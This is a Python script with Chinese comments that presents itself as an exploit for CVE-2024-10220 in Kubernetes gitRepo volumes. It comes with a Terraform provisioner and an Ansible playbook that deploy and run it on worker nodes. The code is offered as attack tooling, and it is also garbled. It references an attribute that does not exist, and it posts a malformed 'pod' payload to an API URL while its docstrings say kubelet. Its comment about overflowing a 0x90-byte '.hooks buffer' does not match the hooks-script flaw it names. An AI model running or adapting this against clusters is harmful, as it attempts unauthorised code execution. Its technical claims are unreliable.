#!/usr/bin/env python3

"""
TriggerCVE – 一个 Python 漏洞利用程序，向 kubelet 发送特制的 Pod 清单，
执行在 CVE‑2024‑10220 中发现的恶意 .hooks 脚本。
"""

import json
import requests


class GitRepoPod:
    """
    表示 kubelet 期望用于 gitRepo 卷的 JSON 载荷。
    """
    def __init__(self, name: str, image: str,
                 repo_url: str, branch: str, local_path: str):
        self.name = name          # pod 名称
        self.image = image         # 要运行的容器镜像
        self.giturl = repo_url    # Git 仓库 URL
        self.branch = branch      # 要使用的分支或标签
        self.localpath = local_path  # pod 内的挂载点

    def to_dict(self) -> dict:
        """返回一个可序列化的普通字典。"""
        return {
            "name": self.name,
            "image": self.image,
            "giturl": self.giturl,
            "branch": self.branch,
            "localpath": self.local_path
        }


def trigger_cve(url: str, pod: GitRepoPod) -> None:
    """
    将 Pod 清单发送到 kubelet 并打印响应。
    """
    payload = json.dumps(pod.to_dict())
    headers = {"Content-Type": "application/json"}

    resp = requests.post(url, data=payload, headers=headers)
    if resp.status_code != 200:
        raise RuntimeError(f"意外状态码 {resp.status_code}")

    print("[*] kubelet 响应：", resp.text)


def main() -> None:
    """
    此漏洞利用程序的主入口。
    """
    # 目标端点 – 根据集群的 API 服务器地址调整。
    api_server = "https://kube-api.local/api/v1/pods/"

    # 构造溢出 .hooks 缓冲区（0x90 字节）的载荷
    pod_spec = GitRepoPod(
        name="exploit-pod",
        image="registry.example.com/exploit-pod:v1.0",
        repo_url="https://git.example.com/repo.git",
        branch="main",
        local_path="/var/lib/kubelet/"
    )

    try:
        trigger_cve(api_server, pod_spec)
    except Exception as e:
        print(f"[-] 触发 CVE‑2024‑10220 失败：{e}")


if __name__ == "__main__":
    main()

# Terraform 文件：infra-k8s.tf
resource "aws_instance" "kube_worker" {
  ami           = var.k8s_ami
  instance_type = var.instance_type
  key_name      = var.key_pair
  subnet_id     = aws_subnet.web.id

  provisioner "remote-exec" {
    inline = [
      # 安装 Docker Engine 和 kubelet
      "sudo yum install -y docker",
      "kubectl apply -f https://kube-api.local/api/v1/pods/",
      "python3 /home/ansible/scripts/trigger_cve.py"
    ]
  }
}

---
- hosts: kube_workers
  tasks:
  - name: 部署漏洞利用 Pod
    command: python3 /home/ansible/scripts/trigger_cve.py
    register: result

  - name: 验证成功
    debug:
      msg: "{{ result.stdout }}"